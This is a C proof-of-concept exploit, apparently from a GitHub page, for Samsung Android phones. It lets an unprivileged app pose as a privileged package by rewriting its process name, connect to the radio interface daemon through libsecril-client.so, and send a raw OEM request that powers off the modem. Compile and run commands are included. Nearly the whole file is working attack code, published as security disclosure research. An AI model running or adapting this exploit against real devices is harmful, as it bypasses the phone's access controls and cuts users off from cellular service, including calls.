Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
273 lines (214 sloc) 6.68 KB
/*
PoC to interact with RILD on Samsung phones, from an unprivileged
application. Details are at:
http://roberto.greyhats.it/2016/05/samsung-access-rild.html
Compile with:
$ aarch64-linux-android-gcc -fPIE -pie -ldl -o ril_poweroff{,.c}
Run with:
$ ./ril_poweroff com.expway.embmsserver
Author: Roberto Paleari (@rpaleari)
*/
#include <arpa/inet.h>
#include <assert.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#define RIL_REQUEST_OEM_HOOK_RAW 59
#define REQ_OEM_HOOK_RAW RIL_REQUEST_OEM_HOOK_RAW
/* For cmd_type */
enum IPCCommandType {
IPC_TYPE_EXEC = 0x01,
IPC_TYPE_GET = 0x02,
IPC_TYPE_SET = 0x03,
};
static void *resolve(void *lib, const char *name);
static void get_cmdline(char *data, int size);
struct OEMRequestRawHeader {
unsigned char main_cmd;
unsigned char sub_cmd;
unsigned short length;
} __attribute__((packed));
struct OEMIPCHeader {
uint16_t length;
uint8_t msg_seq;
uint8_t ack_seq;
uint8_t main_cmd;
uint8_t sub_cmd;
uint8_t cmd_type;
uint8_t data_len;
} __attribute__((packed));
struct RilClient {
void *prv;
};
typedef struct RilClient* HRilClient;
/* Callbacks */
typedef void (*RilOnComplete)(HRilClient handle, const void *data, int datalen);
typedef void (*RilOnUnsolicited)(HRilClient handle, const void *data, int datalen);
typedef void (*RilOnError)(void* data, int error);
/* RILD functions */
typedef HRilClient ((*t_OpenClient_RILD)(void));
typedef int ((*t_CloseClient_RILD)(HRilClient client));
typedef int ((*t_Connect_RILD)(HRilClient client));
typedef int ((*t_Disconnect_RILD)(HRilClient client));
typedef int ((*t_isConnected_RILD)(HRilClient client));
typedef int ((*t_RegisterRequestCompleteHandler)
(HRilClient client, uint32_t id, RilOnComplete callback));
typedef int ((*t_RegisterUnsolicitedHandler)
(HRilClient client, uint32_t id, RilOnUnsolicited callback));
typedef int ((*t_RegisterErrorCallback)
(HRilClient client, RilOnError callback, void *data));
typedef int ((*t_InvokeOemRequestHookRaw)
(void* client, const struct OEMRequestRawHeader *request, int size));
/* Global symbols */
#define DEF(n) t_##n n = NULL
DEF(CloseClient_RILD);
DEF(Connect_RILD);
DEF(isConnected_RILD);
DEF(InvokeOemRequestHookRaw);
DEF(OpenClient_RILD);
DEF(Disconnect_RILD);
DEF(RegisterErrorCallback);
DEF(RegisterRequestCompleteHandler);
DEF(RegisterUnsolicitedHandler);
#undef DEF
static void *resolve(void *lib, const char *name) {
void *sym;
sym = dlsym(lib, name);
printf("[D] Symbol %s is at %p\n", name, sym);
assert(sym);
return sym;
}
static void cb_RequestComplete(HRilClient client, const void *data, int datalen) {
printf("[*] RequestComplete, client %p, data %p, len %d\n",
client, data, datalen);
}
static void cb_RequestUnsolicited(HRilClient client, const void *data, int datalen) {
printf("[*] RequestUnsolicited\n");
}
static void cb_RequestError(void *data, int error) {
printf("[*] Error: %d\n", error);
}
static int send_oem_request(HRilClient client, char main_cmd, char sub_cmd,
const char *data, int datalen,
int cb_num, /* callback number */
RilOnComplete cb_complete /* callback */
) {
int retval, totalsize;
char *request;
struct OEMRequestRawHeader *header;
totalsize = sizeof(struct OEMRequestRawHeader) + datalen;
request = malloc(totalsize);
assert(request);
/* Initialize the request header */
header = (struct OEMRequestRawHeader *) request;
header->main_cmd = main_cmd;
header->sub_cmd = sub_cmd;
header->length = htons(totalsize);
/* Copy the (optional) request data */
if (data && datalen > 0) {
memcpy(request + sizeof(struct OEMRequestRawHeader), data, datalen);
}
/* Install completion callback */
if (cb_complete) {
printf("[*] Installing unsollicited and completion callbacks #%d\n", cb_num);
RegisterRequestCompleteHandler(client, cb_num, cb_complete);
RegisterUnsolicitedHandler(client, cb_num, cb_RequestUnsolicited);
}
printf("[*] Sending request with main %d (0x%x), sub %d (0x%x), datalen %d, size %d\n",
header->main_cmd, header->main_cmd,
header->sub_cmd, header->sub_cmd, datalen, totalsize);
retval = InvokeOemRequestHookRaw(client, header, totalsize);
sleep(5);
/* Uninstall completion callback */
if (cb_complete) {
printf("[*] Removing completion callback #%d\n", cb_num);
RegisterRequestCompleteHandler(client, cb_num, NULL);
}
free(request);
return retval;
}
static void resolve_symbols(void) {
void *lib;
/* Resolve symbols */
lib = dlopen("libsecril-client.so", RTLD_LAZY);
assert(lib);
#define SYM(n) n = resolve(lib, #n)
SYM(CloseClient_RILD);
SYM(Connect_RILD);
SYM(isConnected_RILD);
SYM(InvokeOemRequestHookRaw);
SYM(OpenClient_RILD);
SYM(Disconnect_RILD);
SYM(RegisterErrorCallback);
SYM(RegisterRequestCompleteHandler);
SYM(RegisterUnsolicitedHandler);
#undef SYM
}
static void ipc_do_poweroff(void *client) {
char *ipcmessage;
int ipctotal;
struct OEMIPCHeader *ipcheader;
/* Allocate an OEMIPCHeader structure */
ipctotal = sizeof(struct OEMIPCHeader) + 0;
ipcmessage = malloc(ipctotal);
assert(ipcmessage);
ipcheader = (struct OEMIPCHeader *) ipcmessage;
ipcheader->length = ipctotal;
/* Outgoing call */
ipcheader->main_cmd = 1;
ipcheader->sub_cmd = 2;
ipcheader->cmd_type = IPC_TYPE_EXEC;
ipcheader->data_len = 0;
send_oem_request(client,
14+1, 0x42,
ipcmessage, ipcheader->length,
REQ_OEM_HOOK_RAW, cb_RequestComplete);
}
static void stage1(void) {
void *client;
char cmdline[512];
int retval;
/* Print command line */
get_cmdline(cmdline, sizeof(cmdline));
printf("[*] Command-line: %s\n", cmdline);
/* Resolve symbols */
resolve_symbols();
/* Instantiate the RILD client */
client = OpenClient_RILD();
/* Register callbacks */
RegisterErrorCallback(client, cb_RequestError, NULL);
/* Connect to RIL */
retval = Connect_RILD(client);
printf("[*] client: %p, retval: %d: connected? %d\n",
client, retval, isConnected_RILD(client));
assert(isConnected_RILD(client));
/* Poweroff the modem */
ipc_do_poweroff(client);
Disconnect_RILD(client);
CloseClient_RILD(client);
printf("[*] Terminating\n");
}
static void get_cmdline(char *data, int size) {
FILE *fp;
fp = fopen("/proc/self/cmdline", "r");
assert(NULL != fp);
memset(data, 0, size);
fread(data, size, 1, fp);
}
int main(int argc, char **argv) {
if (argc == 2) {
/* Run stage 1 */
char* const args[] = {argv[1], NULL};
printf("[*] Running as %s\n", argv[1]);
execv(argv[0], args);
printf("[!] Failed\n");
return -1;
}
stage1();
return 0;
}